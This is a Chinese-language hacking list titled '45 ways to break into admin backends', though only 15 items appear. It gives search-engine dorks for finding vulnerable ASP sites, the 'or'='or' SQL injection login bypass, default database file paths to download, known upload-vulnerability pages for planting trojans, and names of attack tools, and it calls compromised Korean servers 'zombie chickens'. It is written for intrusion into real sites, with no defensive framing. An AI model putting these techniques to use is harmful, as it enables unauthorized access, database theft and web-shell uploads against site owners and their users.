[Title] 45种攻入后台的方法[EndTitle]
[Content]
1、到Google搜索,site:cq.cn inurl:asp
2、到Google,搜索一些关键字,edit.asp? 韩国肉鸡为多,多数为MSSQL数据库!
3、利用挖掘鸡和一个ASP木马:
文件名是login.asp
……
路径组是/manage/
关键词是went.asp
用’or’=‘or’来登陆
4、以下这个方法因为太多人做过,所以一些网站管理员对此都有防范之心了,成功率不高:
关键字:"Co Net MIB Ver 1.0网站后台管理系统"
帐号密码为 ‘or’=‘or’
5、动感购物系统,呵呵。想到了明小子:
inurl:help.asp登陆,如未注册成为会员!
upLoad_bm1.asp和upLoad_c1.asp这两个随便选个,一般管理员都忽视了这2漏洞。
6、默认数据库地址blogdata/acblog.asa
关键字:acblog
7、百度 /htdocs
注册里可以直接上传asa文件!
8、/Database/#newasp.mdb
关键词:NewAsp SiteManageSystem Version
9、用挖掘机
关键字:Powered by WEBBOY
页面:/upfile.asp
10、baidu中搜索关键字Ver5.0 Build 0519
(存在上传漏洞)
11、Upfile_Article.asp bbs/upfile.asp
输入关键字:powered by mypower ,
应该是动什么上传漏洞来着?用的人也比较多
估计明小子,挖掘鸡就可以了
12、inurl:winnt\system32\inetsrv\
在google里面输入这个就可以找到很多网站
13、现在GOOGLE搜索关键字 intitle:网站小助手 inurl:asp
14、关键字: 首页 最新动态 新手指南 舞曲音乐 下载中心 经典文章 玩家风采 装备购买站内流言友情连接 本站论坛
挖掘鸡的关键字 添 setup.asp
15、VBulletin论坛的数据库
默认数据库地址!
/includes/functions.php
工具:
1)网站猎手。下载地址:百度 Google!
2)Google
关键字:
Powered by: vBulletin Version 3.0.